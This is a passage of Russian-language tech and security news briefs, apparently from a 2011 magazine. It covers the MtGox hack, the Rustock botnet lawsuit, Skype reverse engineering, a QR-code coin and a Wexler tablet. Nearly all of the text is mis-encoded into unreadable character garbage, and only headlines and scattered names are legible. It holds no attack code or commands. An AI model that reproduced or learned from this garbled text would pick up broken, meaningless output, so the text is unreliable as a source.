ËÁËÉÆ-ÌÉÂÏ ÃÎÆÙÎÉÆ ÕÁËÓÏÑÜ. ́ ÃÜ, ÎÆËÏÓÏÑÜÆ ÕÁËÓÏÑÜ ÎÁ Bitcoin ÃÒÆ ÇÆ 
ÃÌÉàßÓ. ®ÁÐÑÉÍÆÑ, ÖÁËÉ. ®ÆÅÁÃÎÏ ÂÜÌ ÃÈÌÏÍÁÎ ËÑÔÐÎÆÊÙÉÊ ÏÂÍÆÎÎÉË 
BC Ã ²ÆÓÉ — MtGox, ÉÍÆÎÎÏ ØÆÑÆÈ ÎÆÄÏ ÐÑÏÖÏÅÉÌ ÏÒÎÏÃÎÏÊ ÏÂÛÆÍ ÓÏÑÄÏÃ. 
¶ÁËÆÑÁÍ ÔÅÁÌÏÒÝ «ÔÄÎÁÓÝ» ÂÁÈÔ ÐÏÌÝÈÏÃÁÓÆÌÆÊ MtGox (Á ÞÓÏ ÂÏÌÆÆ 60 ÓÜÒàØ 
ÁËËÁÔÎÓÏÃ), ÃËÌßØÁà ÖÞÙÉ ÐÁÑÏÌÆÊ Ã ÕÏÑÍÁÓÆ MD5. ©ÈÃÆÒÓÎÏ, ØÓÏ ÐÁÑÏÌÝ 
ËÁË ÍÉÎÉÍÔÍ Ë ÏÅÎÏÍÔ ÉÈ ÁËËÁÔÎÓÏÃ ÂÜÌ ÐÏÅÏÂÑÁÎ, É ÁÓÁËÔßÚÉÆ ÒÏÃÆÑÙÉÌÉ 
ÏÓ ÉÍÆÎÉ ÅÁÎÎÏÄÏ ßÈÆÑÁ ÏÐÆÑÁ×Éß ÎÁ ÂÉÑÇÆ (ÍÁËÒÉÍÁÌÝÎÜÊ ÑÁÈÍÆÑ ÐÆÑÆ-
ÃÏÅÁ ÏÄÑÁÎÉØÆÎ 1000 ÅÏÌÌÁÑÁÍÉ Ã ÅÆÎÝ). ³ÁËÇÆ ÐÏÒÌÆ ÃÈÌÏÍÁ, ÐÏ ËÁËÉÍ-ÓÏ 
ÎÆàÒÎÜÍ ÐÑÉØÉÎÁÍ, ÃÑÆÍÆÎÎÏ ÑÔÖÎÔÌ ËÔÑÒ ÂÉÓËÏÉÎÏÃ: ÎÁ ÂÉÑÇÆ MtGox ÏÎ 
ÔÐÁÌ Ò $17 ÅÏ ÎÆÒËÏÌÝËÉÖ ×ÆÎÓÏÃ. £ÐÑÏØÆÍ, ÒÆÊØÁÒ ËÔÑÒ Ã ÐÏÌÎÏÍ ÐÏÑàÅËÆ, É 
ÞÓÏ, ÃÉÅÉÍÏ, ÍÏÇÎÏ ÒÐÉÒÁÓÝ ÎÁ ÎÆËÉÆ ÓÆÖÎÉØÆÒËÉÆ ÎÆÐÏÌÁÅËÉ. ©ÎÓÆÑÆÒÎÏ, 
ØÓÏ ÐÏÒÌÆ ÃÈÌÏÍÁ ÓÁËÇÆ ÂÜÌÁ ÃÜàÃÌÆÎÁ ÁÎÏÍÁÌÝÎÁà ÃÎÆÙÎàà ÓÑÁÎÈÁË×Éà 
ÑÁÈÍÆÑÏÍ 432 ÓÜÒàØÉ BC, ØÓÏ ÑÁÃÎàÆÓÒà ÐÑÉÍÆÑÎÏ $8 ÍÌÎ É ÒÏÒÓÁÃÌàÆÓ 6,6% 
ÏÓ ÏÂÚÆÄÏ ØÉÒÌÁ ÅÏÒÓÔÐÎÜÖ Ã ÏÂÏÑÏÓÆ ÂÉÓËÏÉÎÏÃ. ² ÏÅÎÏÊ ÒÓÏÑÏÎÜ, ÃÒÆ ÞÓÏ 
ÎÉËÏÉÍ ÏÂÑÁÈÏÍ ÎÆÌÝÈà ÐÏÒÓÁÃÉÓÝ Ã ÔÐÑÆË ÒÁÍÏÊ ÃÁÌßÓÆ. ² ÅÑÔÄÏÊ, Ë Bitcoin 
ÅÏÒÓÁÓÏØÎÏ ÃÏÐÑÏÒÏÃ É ÂÆÈ ÞÓÏÄÏ ÉÎ×ÉÅÆÎÓÁ. « ÐÑÉÍÆÑÔ, BC ÉÒÐÏÌÝÈÔÆÓÒà 
Ã ËÁØÆÒÓÃÆ ÃÉÑÓÔÁÌÝÎÜÖ ÁË×ÉÊ ÕÉÎÁÎÒÏÃÏÊ ÐÉÑÁÍÉÅÜ -2011, É ÉÈ-
ÃÆÒÓÎÏ, ØÓÏ ËÔÑÒ ÃÁÌßÓÜ ÉÒËÔÒÒÓÃÆÎÎÏ ÈÁÃÜÙÆÎ É Ã ÌßÂÏÊ ÍÏÍÆÎÓ ÍÏÇÆÓ ÏÂ-
ÑÔÙÉÓÝÒà. ©ÈÃÆÒÓÎÏ ÓÁËÇÆ, ØÓÏ ÒÔÚÆÒÓÃÔßÓ ÓÑÏàÎÜ (Ã ØÁÒÓÎÏÒÓÉ Infostealer.
Coinbit) ÅÌà ËÑÁÇÉ ËÏÙÆÌÝËÏÃ Bitcoin, É ÂÏÓÎÆÓÜ, ÐÏÈÃÏÌàßÚÉÆ ÈÁÑÁÂÁÓÜ-
ÃÁÓÝ ÃÁÌßÓÔ Bitcoin. ²ÌÏÃÏÍ, ÖÉÓÑÁà ËÑÉÐÓÏÄÑÁÕÉà ÎÆ ÈÁÚÉÚÁÆÓ ÎÆÏÂÜØÎÔß 
×ÉÕÑÏÃÔß ÃÁÌßÓÔ ÏÓ ÍÏÙÆÎÎÉËÏÃ, Á ÅÜÑàÃÜÆ ÂÉÑÇÉ, ÃÜÎÔÇÅÆÎÎÜÆ ÐÑÏÃÏ-
ÅÉÓÝ ÏÓËÁÓÜ É ÈÁÓÜËÁÓÝ ÅÜÑÜ, ÓÏØÎÏ ÎÆ ÐÑÉÎÆÒÔÓ ÆÊ ÖÏÑÏÙÆÊ ÑÆËÌÁÍÜ.       

«ÏÍÐÁÎÉà Microsoft ÒÏÃÒÆÍ ÎÆÅÁÃÎÏ ÑÁÒËÃÉÓÁÌÁÒÝ Ò ÏÄÑÏÍÎÜÍ ÂÏÓÎÆÓÏÍ 
Rustock, Á ÓÆÐÆÑÝ ÎÁÍÆÑÆÃÁÆÓÒà ÏÒÔÅÉÓÝ ÆÄÏ ÖÏÈàÆÃ. ̄ ÅÎÁËÏ ÅÌà ÎÁØÁÌÁ 
ÉÖ ÆÚÆ ÎÔÇÎÏ ÎÁÊÓÉ. ³ÏÓ ÕÁËÓ, ØÓÏ ÌÉØÎÏÒÓÉ ÏÑÄÁÎÉÈÁÓÏÑÏÃ ÈÏÍÂÉ-ÒÆÓÉ 
ÔÒÓÁÎÏÃÌÆÎÜ ÎÆ ÂÜÌÉ, ÎÆ ÏÒÓÁÎÏÃÉÌ Microsoft ÏÓ ÐÏÅÁØÉ ÒÔÅÆÂÎÏÄÏ ÉÒËÁ. 
°ÑÏÃÆÅÆÎÎÏÆ ËÏÍÐÁÎÉÆÊ ÑÁÒÒÌÆÅÏÃÁÎÉÆ ÐÏËÁÈÁÌÏ, ØÓÏ ÒÌÆÅÜ ÒÐÁÍÆÑÏÃ 
(ÂÏÓÎÆÓ ÑÁÒÒÜÌÁÌ ÍÉÌÌÉÁÑÅÜ ÒÏÏÂÚÆÎÉÊ ÆÇÆÅÎÆÃÎÏ, ØÁÚÆ ÃÒÆÄÏ ÉÖ ÓÆÍÏÊ 
ÂÜÌÉ ÕÞÊËÏÃÜÆ ÌÏÓÆÑÆÉ É ÕÁÑÍÁ) ÃÆÅÔÓ Ã ±ÏÒÒÉß. ¡ ÓÁË ËÁË ÁÍÆÑÉËÁÎÒËÏÆ 
ÈÁËÏÎÏÅÁÓÆÌÝÒÓÃÏ ÓÑÆÂÔÆÓ ÐÑÏÉÎÕÏÑÍÉÑÏÃÁÓÝ ÏÓÃÆÓØÉËÁ Ï ÅÁÓÆ É ÍÆÒÓÆ 
ÒÌÔÙÁÎÉà, Microsoft ÑÁÈÍÆÒÓÉÌÁ Ã ÑÏÒÒÉÊÒËÉÖ ÄÁÈÆÓÁÖ «¥ÆÌÏÃÏÊ °ÆÓÆÑ-
ÂÔÑÄ» É «ÏÒËÏÃÒËÉÆ ÎÏÃÏÒÓÉ» ÏÂÛàÃÌÆÎÉà Ò ÅÁÓÏÊ, ÍÆÒÓÏÍ É ÃÑÆÍÆÎÆÍ 
ÐÑÏÃÆÅÆÎÉà ÒÌÔÙÁÎÉÊ ÐÏ ÅÆÌÔ ÂÏÓÒÆÓÉ Rustock. ±ÆËÌÁÍÁ ÎÁ ØÆÓÃÆÑÓÝ 

ÐÏÌÏÒÜ ÂÔÅÆÓ ÃÜÖÏÅÉÓÝ Ã ÓÆØÆÎÉÆ ÍÆÒà×Á. £ Microsoft ÉÒËÑÆÎÎÆ ÐÏÌÁÄÁßÓ, 
ØÓÏ ÒÏÈÅÁÓÆÌÉ ÂÏÓÎÆÓÁ ÃÒÆ ÇÆ àÃàÓÒà Ã ÒÔÅ, ØÓÏÂÜ ÏÓÒÓÏàÓÝ ÒÃÏÉ ÉÎÓÆÑÆÒÜ. 
² ÓÏÊ ÇÆ ×ÆÌÝß ÂÜÌ ÒÏÈÅÁÎ ÒÁÊÓ noticeofpleadings.com, ÎÁ ËÏÓÏÑÏÍ ÐÑÆÅ-
ÒÓÁÃÌÆÎÜ ÍÁÓÆÑÉÁÌÜ ÐÏ ÞÓÏÍÔ ÅÆÌÔ. °ÌßÒ ÎÁ ÃÒÆ ÐÏØÓÏÃÜÆ É ÞÌÆËÓÑÏÎÎÜÆ 
ÁÅÑÆÒÁ, ËÏÓÏÑÜÆ ÉÒÐÏÌÝÈÏÃÁÌÉÒÝ ÅÌà ÒÏÈÅÁÎÉà É ÔÐÑÁÃÌÆÎÉà ÂÏÓÎÆÓÏÍ, 
ÂÜÌÉ ÏÓÐÑÁÃÌÆÎÜ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÆ ÔÃÆÅÏÍÌÆÎÉà. ² ÏÅÎÏÊ ÒÓÏÑÏÎÜ àÒÎÏ, 
ØÓÏ Ë ÞÓÏÍÔ ÏÂàÈÜÃÁÆÓ ÈÁËÏÎÏÅÁÓÆÌÝÒÓÃÏ, ÎÏ Ò ÅÑÔÄÏÊ, ÞÓÏ ÃÒÆ ÑÁÃÎÏ ØÆÑ-
ÓÏÃÒËÉ ÓÑÏÄÁÓÆÌÝÎÏ É ÒÍÆÙÎÏ :). ®ÁÐÏÍÎÉÍ, ØÓÏ ËÏÍÐÝßÓÆÑÜ, ÃÖÏÅÉÃÙÉÆ Ã 
ÒÆÓÝ Rustock, Ã ÓÆØÆÎÉÆ ÎÆÒËÏÌÝËÉÖ ÌÆÓ (Ò 2006 ÄÏÅÁ) ÏÓÐÑÁÃÌàÌÉ ÎÆÒËÏÌÝËÏ 
ÍÉÌÌÉÁÑÅÏÃ ÒÐÁÍ-ÒÏÏÂÚÆÎÉÊ Ã ÅÆÎÝ. ̧ ÁÚÆ ÃÒÆÄÏ ÞÓÏ ÂÜÌÉ ÒÏÏÂÚÆÎÉà Ï 
ÌÏÓÆÑÆàÖ É ÑÆËÌÁÍÁ ÍÆÅÉ×ÉÎÒËÉÖ ÐÑÆÐÁÑÁÓÏÃ.

ÁÈÐÆÓ ÖÈÔÐÎÂÎÉ ÂÀËÞÒÛ BITCOIN ÂÇËÎÌÀËÈ

ÅÙÅ ÎÄÍÎ ÂÑÊÐÛÒÈÅ SKYPE

ÈÙÓÒ ÄÀÂÍÎ, ÍÎ ÍÅ ÌÎÃÓÒ ÍÀÉÒÈ...

¨ÁËÑÜÓÜÊ ÐÑÏÓÏËÏÌ Skype ÒÌÏÃÎÏ ÈÁÐÑÆÓÎÜÊ ÐÌÏÅ — ÏÎ ÃÒÆ ÍÁÎÉÓ 
É ÍÁÎÉÓ ÉÒÒÌÆÅÏÃÁÓÆÌÆÊ. °ÏËÁ ÃÒÆ ÄÁÅÁßÓ, ÃÜÅÁÒÓ ÌÉ Microsoft ÉÒ-
ÖÏÅÎÜÊ ËÏÅ ÐÑÏÆËÓÁ ÒÐÆ×ÒÌÔÇÂÁÍ (Ã ÑÁÍËÁÖ ÐÑÏÄÑÁÍÍÜ Government 
Security Program) ÐÏÒÌÆ ÐÑÉÏÂÑÆÓÆÎÉà ÐÑÏÆËÓÁ, ÎÆÈÁÃÉÒÉÍÜÆ ÉÒ-
ÒÌÆÅÏÃÁÓÆÌÉ ÃÜËÌÁÅÜÃÁßÓ Ã ²ÆÓÝ ÒÃÏÉ ÎÁÑÁÂÏÓËÉ. ³ÑÉÅ×ÁÓÉÌÆÓÎÉÊ 
ÕÑÉÌÁÎÒÆÑ ¦ÕÉÍ ¢ÔÙÍÁÎÏÃ ÉÈ ²ÜËÓÜÃËÁÑÁ ÑÁÈÍÆÒÓÉÌ Ã ÒÃÏÆÍ ÂÌÏÄÆ 
(skype-open-source.blogspot.com) ÏÓÑÆÃÆÑÒÆÎÎÜÊ ËÏÅ ÒËÁÊÐÁ (ÅÌà 
ÃÆÑÒÉÉ 1.x/3.x/4.x), Á ÓÁËÇÆ ÑÁÒËÑÜÌ ÐÑÉÍÆÎàßÚÉÊÒà Ã ÎÆÍ ÁÌÄÏÑÉÓÍ 
ÙÉÕÑÏÃÁÎÉà ÅÁÎÎÜÖ (ËÁË ÃÜàÒÎÉÌÏÒÝ, ÉÒÐÏÌÝÈÔÆÓÒà ÎÁÅÆÇÎÏÆ ÙÉÕ-
ÑÏÃÁÎÉÆ AES É RSA Ò ÐÔÂÌÉØÎÜÍ ËÌßØÏÍ). °ÏÍÉÍÏ ÞÓÏÄÏ ÏÎ ÏÐÔÂÌÉ-

ËÏÃÁÌ ÉÒÖÏÅÎÜÊ ËÏÅ ËÌÉÆÎÓÁ, ËÏÓÏÑÜÊ ÍÏÇÆÓ ÏÓÐÑÁÃÉÓÝ ÒÏÏÂÚÆÎÉÆ 
ÅÑÔÄÉÍ ËÌÉÆÎÓÁÍ Skype, ÐÑÁÃÅÁ, ÅÌà ÔÒÓÁÑÆÃÙÆÊ ÃÆÑÒÉÉ ÐÑÏÓÏËÏÌÁ. 
£ ÂÌÏÄÆ ÏÎ ÎÁÐÉÒÁÌ, ØÓÏ ÉÚÆÓ ÆÅÉÎÏÍÜÙÌÆÎÎÉËÏÃ, ËÏÓÏÑÜÆ ÑÁÒ-
ÐÏÌÁÄÁßÓ ÅÏÒÓÁÓÏØÎÜÍ ÈÁÐÁÒÏÍ ÃÑÆÍÆÎÉ ÅÌà ÓÏÄÏ, ØÓÏÂÜ ÈÁÃÆÑÙÉÓÝ 
ÐÑÏÆËÓ. ́ ÃÜ, ÃÐÏÒÌÆÅÒÓÃÉÉ ÒÒÜÌËÉ ÎÁ ÕÁÊÌÜ ÉÈ ÂÌÏÄÁ ÂÜÌÉ ÔÅÁÌÆÎÜ, 
ØÓÏ ÃÆÑÏàÓÎÆÆ ÃÒÆÄÏ ÒÃàÈÁÎÏ Ò ÓÆÍ ÕÁËÓÏÍ, ØÓÏ ÎÆÒÁÎË×ÉÏÎÉÑÏÃÁÎÎÏÆ 
ÉÒÐÏÌÝÈÏÃÁÎÉÆ ËÏÅÁ ÒÆÑÃÉÒÁ ÐÑÉÑÁÃÎÉÃÁÆÓÒà Ë ÎÁÑÔÙÆÎÉß ÐÑÁÃ 
Skype ÎÁ ÉÎÓÆÌÌÆËÓÔÁÌÝÎÔß ÒÏÂÒÓÃÆÎÎÏÒÓÝ. ³ÆÍ ÎÆ ÍÆÎÆÆ, Ã ²ÆÓÝ 
ÉÒÒÌÆÅÏÃÁÎÉà ÖÁËÆÑÁ ÔÓÆËÌÉ, É ÉÖ ÃÒÆ ÆÚÆ ÍÏÇÎÏ ÏÂÎÁÑÔÇÉÓÝ ÎÁ 
ËÑÔÐÎÜÖ ÓÏÑÑÆÎÓ-ÓÑÆËÆÑÁÖ.      

Facebook, ïîõîæå, äîñòèã ïèêà ñâîåãî ðîñòà è íà÷àë ñäàâàòü íàçàä. Â ÑØÀ 
ñîöñåòü ïîòåðÿëà îêîëî 6 ìëí ïîëüçîâàòåëåé (ñ 155,2 ìëí â íà÷àëå ìàÿ — 

äî 149,4 ìëí â êîíöå).
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®Æ ÈÎÁß, ÃÏÈÎÉËÁÌÁ ÌÉ Ô ÓÆÂà, ÅÏÑÏÄÏÊ ØÉÓÁÓÆÌÝ, 
ÓÁËÁà ÐÑÏÂÌÆÍÁ, ÎÏ ÉÎÏÄÅÁ ÖÏØÆÓÒà ÒÖÏÅÉÓÝ Ã 
ËÉÎÏ ÎÁ ËÁËÏÊ-ÌÉÂÏ ÕÉÌÝÍ, Á ÞÓÔ ÌÆÎÓÔ ÃÆÈÅÆ ÐÏ-
ËÁÈÜÃÁßÓ ÉÒËÌßØÉÓÆÌÝÎÏ É ÓÏÌÝËÏ Ã 3D. ²ÏÄÌÁ-
ÒÉÒÝ, ÒÓÆÑÆÏËÁÑÓÉÎËÁ ÅÁÌÆËÏ ÎÆ ÃÒÆÄÅÁ ÂÜÃÁÆÓ 
ÖÏÑÏÙÁ (ÏÒÏÂÆÎÎÏ ÎÁ ÓÏÌËÏÍ ÎÆÎÁÒÓÑÏÆÎÎÏÊ 
ÁÐÐÁÑÁÓÔÑÆ ÎÁÙÉÖ ËÉÎÏÓÆÁÓÑÏÃ), ÔÍÆÒÓÎÁ, ÅÁ É 
ÃÏÏÂÚÆ, ÏÓ 3D Ô ÍÎÏÄÉÖ ÔÒÓÁßÓ ÄÌÁÈÁ, ÂÏÌÉÓ ÄÏÌÏ-
ÃÁ É ÓÃÏÑàÓÒà ÅÑÔÄÉÆ ÎÆÐÑÉàÓÎÜÆ ÃÆÚÉ. ³ÁËÇÆ 
ÎÆÌÝÈà ÎÆ ÈÁÍÆÓÉÓÝ, ØÓÏ ÕÉÌÝÍÜ, ÒÎàÓÜÆ Ã 3D, 
ÞÓÏ ÏÅÎÏ, Á ÕÉÌÝÍÜ Ã ÎÆÄÏ ËÏÎÃÆÑÓÉÑÏÃÁÎÎÜÆ, 
— ÒÏÃÒÆÍ ÅÑÔÄÏÆ. ·ÆÎÎÏÒÓÝ ÐÏÒÌÆÅÎÆÄÏ ÃÆÒÝÍÁ 
ÒÐÏÑÎÁ. ̄ ÅÎÁËÏ ÏÂÜØÎÜÊ, ÎÆ ÏÂÛÆÍÎÜÊ ÕÏÑÍÁÓ 
— ÐÏÑÏÊ ÎÁÒÓÏàÚÁà ÑÆÅËÏÒÓÝ. ³Æ, ËÏÄÏ ÓÁËÏÊ 

ÑÁÒËÌÁÅ ÎÆ ÔÒÓÑÁÉÃÁÆÓ, ÐÑÉÅÔÍÁÌÉ, ËÁË ÒÅÆÌÁÓÝ 
ÏØËÉ, ËÏÎÃÆÑÓÉÑÔßÚÉÆ ÉÈÏÂÑÁÇÆÎÉÆ ÏÂÑÁÓÎÏ 
Ã 2D. £ÒÆ ÐÑÆÅÆÌÝÎÏ ÐÑÏÒÓÏ. ³ÆÂÆ ÐÏÎÁÅÏÂàÓÒà 
ÌÉÙÝ ÅÃÆ ÐÁÑÜ ÏÂÜËÎÏÃÆÎÎÜÖ ÐÏÌàÑÉÈÁ×ÉÏÎ-
ÎÜÖ ÏØËÏÃ, ËÁÇÅÁà ÉÈ ËÏÓÏÑÜÖ ÒÓÏÉÓ Ã ÑÁÊÏÎÆ $5 
ÉÌÉ ÅÆÙÆÃÌÆ (Á ÆÚÆ ÉÖ ØÁÒÓÏ ÑÁÈÅÁßÓ ÎÁ ÖÁÌàÃÔ 
Ã ËÉÎÏÓÆÁÓÑÁÖ). «ÁË ÓÜ ÐÏÍÎÉÙÝ, ËÁÇÅÜÊ ÄÌÁÈ Ã 
ÓÁËÉÖ ÏØËÁÖ ÃÉÅÉÓ ÓÏÌÝËÏ ÒÃÏß ËÁÑÓÉÎËÔ: ÌÆÃÜÊ 
— ÅÌà ÌÆÃÏÄÏ ÄÌÁÈÁ, ÐÑÁÃÜÊ — ÅÌà ÐÑÁÃÏÄÏ. £ÆÒÝ 
ÕÏËÔÒ Ã ÓÏÍ, ØÓÏÂÜ ÐÔÓÆÍ ÎÆÖÉÓÑÜÖ ÍÁÎÉÐÔÌà-
×ÉÊ, ÐÆÑÆÒÓÁÃÉÓÝ ÌÉÎÈÜ ÓÁËÉÍ ÏÂÑÁÈÏÍ, ØÓÏÂÜ 
Ã ÏÅÎÏÊ ÐÁÑÆ ÏØËÏÃ ÏËÁÈÁÌÉÒÝ ÅÃÆ ÌÆÃÜÖ ÌÉÎÈÜ, 
Á Ã ÅÑÔÄÏÊ ÅÃÆ ÐÑÁÃÜÖ. © ÎÉËÁËÏÄÏ ÂÏÌÝÙÆ 3D É 
ÎÁÒÉÌÉà ÎÁÅ ÄÌÁÈÁÍÉ! 

¦ÚÆ ÏÓÎÏÒÉÓÆÌÝÎÏ ÎÆÅÁÃÎÏ QR-ËÏÅÜ ÂÜÌÉ 
ÈÁÂÁÃÏÊ ÅÌà ÄÉËÏÃ É ÞÎÓÔÈÉÁÒÓÏÃ, Á ÙÉÑÏËÉÆ 
ÍÁÒÒÜ ÐÏÎàÓÉà ÎÆ ÉÍÆÌÉ, ØÓÏ ÞÓÏ ÓÁËÏÆ. ®Ï 
ÞÓÉ ÃÑÆÍÆÎÁ àÃÎÏ ÏÒÓÁÌÉÒÝ Ã ÐÑÏÙÌÏÍ, Á ÞÓÁ 
ÎÏÃÏÒÓÝ — ÌÉÙÎÆÆ ÓÏÍÔ ÐÏÅÓÃÆÑÇÅÆÎÉÆ. «ÏÑÏ-
ÌÆÃÒËÉÊ ÍÏÎÆÓÎÜÊ ÅÃÏÑ ®ÉÅÆÑÌÁÎÅÏÃ ÃÜÐÔÒÓÉÌ 
ÐÆÑÃÔß Ã ÍÉÑÆ ÍÏÎÆÓÔ Ò QR-ËÏÅÏÍ. ±ÁÈÔÍÆÆÓÒà, 
ÍÏÎÆÓÁ ËÏÌÌÆË×ÉÏÎÎÁà, ÎÆ ÍÁÒÒÏÃÁà, ÎÏ ÃÒÆ 
ÇÆ. £ÜÖÏÅ ÎÆÏÂÜØÎÏÄÏ ÒÆÑÆÂÑàÎÏÄÏ ÅÆÎÈÎÁËÁ 
ÎÏÍÉÎÁÌÏÍ Ã 5 ÆÃÑÏ ÐÑÉÔÑÏØÆÎ Ë ÒÓÏÌÆÓÎÆÍÔ 

ßÂÉÌÆß ÍÏÎÆÓÎÏÄÏ ÅÃÏÑÁ Ã ́ ÓÑÆÖÓÆ. £ ÒÌÆÅ ÈÁ 
ÞÓÏÊ ÍÏÎÆÓÏÊ ÃÜÊÅÆÓ É ÆÚÆ ÏÅÎÁ, ÔÇÆ ÈÏÌÏÓÁà, 
ÎÏÍÉÎÁÌÏÍ Ã 10 ÆÃÑÏ. £ÒÆÄÏ ÉÖ ÂÔÅÆÓ ÃÜÐÔÚÆÎÏ 
2011 ÙÓÔË. °ÏÅ QR-ËÏÅÏÍ ÑÁÈÍÆÚÁÆÓÒà ÒÒÜÌËÁ 
ÎÁ ÒÁÊÓ «ÏÑÏÌÆÃÒËÏÄÏ ÍÏÎÆÓÎÏÄÏ ÅÃÏÑÁ: www.
q5g.nl. «ÒÓÁÓÉ, ÉÎÓÆÑÆÒÎÏ, ÃÏÈÍÏÇÎÏ ÌÉ ÃÏÏÂÚÆ 
ÏÓÒËÁÎÉÑÏÃÁÓÝ ËÏÅ ÒÍÁÑÓÕÏÎÏÍ, ÃÆÅÝ ÅÉÁÍÆÓÑ 
ÍÏÎÆÓÜ ÒÏÒÓÁÃÌàÆÓ ÃÒÆÄÏ 33 ÍÍ, Á ËÏÅ ÑÁÈ-
ÍÆÚÁÆÓÒà ÎÁ ÐÌÏÚÁÅÉ ÍÆÎÝÙÆ ËÃÁÅÑÁÓÎÏÄÏ 
ÒÁÎÓÉÍÆÓÑÁ.  

ÄÅÍÜÃÈ Ñ QR-ÊÎÄÎÌ
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«ÁÇÆÓÒà, ËÁÇÅÜÊ ÐÑÏÉÈÃÏÅÉÓÆÌÝ ÒØÉÓÁÆÓ 
ÅÏÌÇÎÜÍ ÃÜÐÔÒÓÉÓÝ ÒÃÏÊ ÐÌÁÎÆÙÓÎÉË, ÐÑÉ-
ØÆÍ ÎÆÐÑÆÍÆÎÎÏ ÎÁ ÁÎÅÑÏÉÅÆ. £ÏÓ É Wexler 
ÏÂÛàÃÉÌÁ Ï ÑÆÌÉÈÆ ÐÌÁÎÙÆÓÎÏÄÏ ËÏÍÐÝßÓÆÑÁ ÎÁ 
ÂÁÈÆ Android 2.3 — WEXLER.TAB 9701. ²ÐÆ×ÉÕÉ-
ËÁ×ÉÉ ÅÏÃÏÌÝÎÏ ÒÓÁÎÅÁÑÓÎÜÆ ÅÌà ÓÁËÏÄÏ ÑÏÅÁ 
ÔÒÓÑÏÊÒÓÃ:
• ARM-ÐÑÏ×ÆÒÒÏÑ Ò ØÁÒÓÏÓÏÊ 1,2 ¤¤×;
• 512 Â ̄ ¨´;
• 9,7” SuperTFT-ÞËÑÁÎ Ò ÑÁÈÑÆÙÆÎÉÆÍ 1024Ö768 
ÃÜÐÏÌÎÆÎ ÐÏ ÓÆÖÎÏÌÏÄÉÉ IPS É ÐÏÅÅÆÑÇÉÃÁÆÓ 
ÍÔÌÝÓÉÓÁØ;
• 8 ¤Â ÃÎÔÓÑÆÎÎÆÊ ÕÌÆÙ-ÐÁÍàÓÉ.
³ÁËÏÄÏ ËÏÎÕÉÄÁ, Ã ØÁÒÓÎÏÒÓÉ, ÅÏÒÓÁÓÏØÎÏ, ØÓÏÂÜ 
ÃÏÒÐÑÏÉÈÃÏÅÉÓÝ ÃÉÅÆÏËÏÎÓÆÎÓ 1080p (FullHD). 

°ÑÉØÆÍ ÉÈÏÂÑÁÇÆÎÉÆ ÍÏÇÎÏ ÅÁÇÆ ÃÜÃÆÒÓÉ ÎÁ 
ÃÎÆÙÎÉÆ ÔÒÓÑÏÊÒÓÃÁ ÏÓÏÂÑÁÇÆÎÉà (³£, ÍÏÎÉÓÏÑ, 
ÐÌÁÈÍÆÎÎÁà ÐÁÎÆÌÝ), ÉÒÐÏÌÝÈÔÆÓÒà mini-HDMI-
ÃÜÖÏÅ. ¥Ìà ÔÅÏÂÒÓÃÁ ÐÏÌÝÈÏÃÁÓÆÌÆÊ Ã ÐÌÁÎÙÆÓÆ 
ÑÆÁÌÉÈÏÃÁÎÁ ÕÔÎË×Éà ÐÏÅËÌßØÆÎÉà ÃÎÆÙÎÉÖ 
USB-ÎÁËÏÐÉÓÆÌÆÊ. ¥Ìà ÃÜÖÏÅÁ Ã ²ÆÓÝ ÉÒÐÏÌÝ-
ÈÔßÓÒà ÍÏÅÔÌÉ (IEEE 802.11 b/g/n) É 3G (ÒÓÁÎ-
ÅÁÑÓÁ Wideband Code Division Multiple Access). 
®ÏÃÉÎËÁ ÏÒÎÁÚÆÎÁ ÅÁÓØÉËÏÍ ÐÏÌÏÇÆÎÉà Ã 
ÐÑÏÒÓÑÁÎÒÓÃÆ (G-ÒÆÎÒÏÑ) É GPS-ÐÑÉÆÍÎÉËÏÍ, 
ÐÏÅÅÆÑÇÉÃÁßÚÉÍ ÕÔÎË×Éß A-GPS. «ÁË ÈÁ-
àÃÌàÆÓ ÐÑÏÉÈÃÏÅÉÓÆÌÝ, ÌÉÓÉÊ-ÐÏÌÉÍÆÑÎÏÄÏ ÁË-
ËÔÍÔÌàÓÏÑÁ ÆÍËÏÒÓÝß 7000 Í¡Ø ÖÃÁÓÉÓ ÎÁ ÂÏÌÆÆ 9 
ØÁÒÏÃ ÂÆÈ ÐÏÅÈÁÑàÅËÉ (Ã ÑÆÇÉÍÆ ÉÒÐÏÌÝÈÏÃÁÎÉà 
ÒÆÓÉ ÉÎÓÆÑÎÆÓ Ò ÃËÌßØÆÎÎÜÍ ÍÏÅÔÌÆÍ Wi-Fi). 

°ÌÁÎÙÆÓ ÃÜÐÏÌÎÆÎ Ã ÒÓÉÌÝÎÏÍ ÞÑÄÏÎÏÍÉØÎÏÍ 
ËÏÑÐÔÒÆ ÓÏÌÚÉÎÏÊ ÏÓ 12 ÍÍ, Á ÆÄÏ ÃÆÒ ÎÆ ÐÑÆÃÜ-
ÙÁÆÓ 700 Ä. °ÏÒÓÁÃËÉ ÎÁØÎÔÓÒà Ã ÒÆÎÓàÂÑÆ 2011 
ÄÏÅÁ ÐÏ ÏÑÉÆÎÓÉÑÏÃÏØÎÏÊ ÑÏÈÎÉØÎÏÊ ×ÆÎÆ — 
13,900 ÑÔÂÌÆÊ. 

WEXLER TAB 9701

Îæèäàåòñÿ, ÷òî ïðèáûëè êîìïàíèè Red Hat â ýòîì ãîäó (ïî èòîãàì ãîäà) 
äîñòèãíóò ðåêîðäíîé îòìåòêè â $1 ìëðä. 

«Êàæäûé ÷åòâåðòûé àìåðèêàíñêèé õàêåð ðàáîòàåò íà ÔÁÐ», — çàÿâëÿåò  
  Ýðèê Êîðëè, êîòîðûé èçäàåò åæåêâàðòàëüíûé æóðíàë «2600».

ÄËß ÒÅÕ, ÊÎÃÎ ÄÎÑÒÀËÎ 3D
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SPYEYE ÂÎÐÓÅÒ ÁÎÍÓÑÍÛÅ ÌÈËÈ

RSA ÍÀÊÎÍÅÖ ÏÐÈÇÍÀËÀ ÊÎÌÏÐÎÌÅÒÀÖÈÞ SECURID

¸ÆÄÏ ÓÏÌÝËÏ Ã ÎÁÙÉ ÅÎÉ ÎÆ ËÑÁÅÔÓ ÓÑÏàÎÜ — ÃÒÆÃÏÈÍÏÇÎÜÆ ÐÁÑÏÌÉ É 
ÌÏÄÉÎÜ, ÅÁÎÎÜÆ ÂÁÎËÏÃÒËÉÖ ËÁÑÓ, ËÌßØÉ ÏÓ ÞÌÆËÓÑÏÎÎÜÖ ËÏÙÆÌÝËÏÃ É 
